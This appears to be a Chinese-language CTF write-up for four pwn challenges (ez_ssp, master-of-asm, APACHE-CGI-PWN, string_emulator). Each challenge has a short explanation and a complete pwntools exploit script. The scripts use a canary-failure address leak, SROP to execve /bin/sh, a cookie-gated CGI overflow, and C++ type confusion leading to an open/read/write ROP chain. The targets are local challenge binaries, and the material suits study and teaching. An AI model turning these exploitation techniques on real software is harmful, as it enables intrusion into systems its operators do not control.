题目链接:https://github.com/h0pe-ay/ctf-competition
ez_ssp 题目存在非常明显的栈溢出漏洞,但是开启了Canary
保护,因此无法直接利用栈溢出。并且允许执行三次栈溢出,剩下两次是通过fork
函数,通过拷贝子进程进行执行的。
fork
出的子进程有个特点,会与父进程生成的Canary
值一致,刚开始考虑的时通过爆破获取Canary
值,但是Canary
的长度为八个字节,因此不够次数。但是在触发Canary
保护时会有一个特点,如下图所示,会泄露出程序名,而程序名是存储在栈上面的。
并且该栈值刚好能够通过gets
函数输入覆盖,因此只需要将该值覆盖为需要泄露的地址即可。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) sh = process("./pwn" ) elf = ELF("pwn" ) sh.recvuntil("ame?" ) sh.send("\x00" ) sh.recvuntil("nt to do?" ) payload = "a" * 0x128 payload += p64(elf.got['puts' ]) sh.sendline(payload) sh.recvuntil("tected ***: " ) addr = u64(sh.recv(6 ).ljust(8 ,"\x00" )) log.info("addr:" +hex (addr)) libcbase = addr - libc.symbols['puts' ] log.info("libcbase:" +hex (libcbase)) sh.recvuntil("ame?" ) sh.send("\x00" ) sh.recvuntil("nt to do?" ) payload = "a" * 0x128 payload += p64(libcbase + libc.symbols['environ' ]) sh.sendline(payload) sh.recvuntil("tected ***: " ) addr = u64(sh.recv(6 ).ljust(8 ,"\x00" )) log.info("addr:" +hex (addr)) target = addr - 0x178 sh.recvuntil("ame?" ) sh.send("\x00" ) sh.recvuntil("id is: " ) xor = int (sh.recvuntil("\n" , drop = True ),10 ) log.info("xor:" +str (xor)) sh.recvuntil("nt to do?" ) payload = "a" * 0x128 payload += p64(target) sh.sendline(payload) sh.recvuntil("tected ***: " ) data = sh.recvuntil("terminated" , drop=True )print (data) flag = "" for i in data: try : flag += chr (ord (i) ^ xor) except : continue print (flag) sh.interactive()
master-of-asm 题目提供了syscall
指令与/bin/sh
字符串的地址,并且系统调用号可以通过read
函数控制,直接使用srop
即可,需要弄清楚执行sigreturn
时,栈上就是被伪造好的Signal Frame
,并且uc_flags
由于用不着因此被其余值填充也不影响。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * #0x0000000000401019 : syscall context.arch = 'amd64' syscall = 0x40102D sh = process("a.out" ) attach(sh,"b*0x40101B" ) raw_input() sh.recvuntil("Hello Pwn" ) sigframe = SigreturnFrame() sigframe.rax = 59 sigframe.rdi = 0x40200A sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rsp = 0x40200A sigframe.rip = syscall payload = p64(0x40101B ) +'a' * 8 + str(sigframe) raw_input() sh.send(payload) payload = p64(0x40102D ) + 'a' *7 raw_input() sh.send(payload) sh.interactive()
APACHE-CGI-PWN 这题只要设置了cookie
就可以进行栈溢出的利用了,这里需要注意的时cookie
名许需要设置为ROOT-GOD
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *import requestsdef pwn1 (): cookies = { 'ROOT-GOD' : "Every king's blood will end with a sword" , } url='http://127.0.0.1:10086/getcookie.cgi' r=requests.get(url=url,cookies=cookies) print (r.text) if r.status_code == 200 : print ('POST请求成功!' ) print ('响应内容:' , r.text) else : print ('POST请求失败。状态码:' , r.status_code) pwn1()
string_emulator 这题的考点是c++
的类型混淆,但是c++
的反汇编代码简直难看的不行,通过反复测试发现在功能add
获取堆块时,可以选择类型,但是这两种类型获取的堆块,在edit
功能中都用相同的方法进行处理,这就导致了类型混淆的漏洞了。在选择类型1进行新建堆块后,在进行edit
功能可以直接修改需要show
的地址,因此造成任意地址的泄露,这里会对第一个整型值做值校验,这里只需要设置为0xffffffff
即可,因为存在整型溢出的漏洞。接着需要将堆块放到unsortbin
上使得bk
指针存在libc
的地址,即可泄露libc
地址,然后则是通过libc
地址泄露栈地址与堆块的地址,栈地址通过environ
变量泄露,而该变量的后方有brk
函数所定义的堆块末尾地址。
接着是在show
功能中存在strcat
函数,这个函数所拼接的地址刚好是可以任意篡改用于泄露的地址,因此在泄露完上述地址后可以定义一个堆块,并且将该堆块地址用于strcat
函数的拼接,从而造成栈溢出漏洞。这里需要注意几个点
程序不能输入截断符号并开启了沙盒,在使用orw
时会受到限制,因此需要先通过gets
函数对栈上进行输入orw
的gadget
由于cin
函数会将回车符作为一个输入的结束,并且gets
函数的地址末尾恰好为0x20
,但是通过调试可知在gets
函数的上方nop
指令,因此我们将gets
函数的地址减一不会影响gets
函数的调用
gets
函数有个特点,它会校验缓冲区内是否为回车符,若是有回车符会中断输入,感兴趣大家可以进行调试。因此在进行cin
输入时使用空格作为分隔符
由于我们已经泄露的栈地址了,因此在调用gets
函数时直接往存在gadget
链的栈上输入即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from pwn import * sh = process("./pwn" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" )''' 0x000283e2 : pop eax ; ret 0x000a1101 : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x00163c1b : pop ebp ; pop ebx ; ret 0x000444c0 : pop ebp ; pop esi ; pop edi ; ret ''' pop_ret = 0x000283e2 pop2_ret = 0x00163c1b pop3_ret = 0x000444c0 pop4_ret = 0x000444bf def add (choice, index, content ): sh.recvuntil("ce:" ) sh.sendline("1" ) sh.recvuntil("pe ?" ) sh.sendline(str (choice)) sh.recvuntil("ld" ) sh.sendline(str (index)) sh.recvuntil("tent ?" ) sh.send(content + " " )def show (index ): sh.recvuntil("ce:" ) sh.sendline("3" ) sh.recvuntil("show?" ) sh.send(str (index) + " " ) def edit (index, content ): sh.recvuntil("ce:" ) sh.sendline("2" ) sh.recvuntil("nge?" ) sh.sendline(str (index)) sh.recvuntil("tent ?" ) sh.send(content + " " )def edit1 (index, content ): sh.recvuntil("ce:" ) sh.sendline("2" ) sh.recvuntil("nge?" ) sh.sendline(str (index)) sh.recvuntil("tent ?" ) sh.send(content + b" " ) for i in range (20 ): add(1 ,str (i),'a' *0x30 ) for i in range (20 ): edit(str (i), 'a' *0x40 ) add(1 , 200 , 'a' *0x3ff ) for i in range (20 ): edit1(str (i),p32(0xffffffff )) show(18 ) sh.recvuntil("ONTENT: " ) addr = u32(sh.recv(4 )) log.info("addr:" +hex (addr)) libcbase = addr - 0x1eb8f8 log.info("libcbase:" +hex (libcbase)) target = libcbase + 0x1ed098 + 1 log.info("target:" +hex (target)) payload = p32(0xffffffff ) + p32(target) edit1(17 , payload) show(17 ) sh.recvuntil("ONTENT: " ) addr = u32(sh.recv(3 ).rjust(4 ,b'\x00' )) log.info("addr:" +hex (addr)) payload = p32(0xffffffff ) + p32(libcbase + libc.symbols['environ' ]) edit1(17 , payload) show(17 ) sh.recvuntil("ONTENT: " ) stack = u32(sh.recv(4 )) log.info("addr:" +hex (stack)) payload = b'x' *4 + p32(target - 0x100 ) * 8 + p32(libc.symbols['gets' ] +libcbase - 1 ) + p32(libcbase + pop4_ret) + p32(stack - 0x108 - 1 ) log.info(hex (libc.symbols['gets' ] + libcbase)) edit1(17 ,payload) edit1(16 , p32(0xffffffff ) + p32(addr - 0x1c630 + 1 )) show(16 ) payload = p32(libcbase + libc.symbols['open' ]) + p32(libcbase + pop2_ret) + p32(stack - 0xd0 ) + p32(0 ) payload += p32(libcbase + libc.symbols['read' ]) + p32(libcbase + pop3_ret) + p32(3 ) + p32(stack) + p32(0x100 ) payload += p32(libcbase + libc.symbols['write' ]) + p32(libcbase + pop3_ret) + p32(1 ) + p32(stack) + p32(0x100 ) payload += b"./flag" sh.sendline(payload) sh.interactive()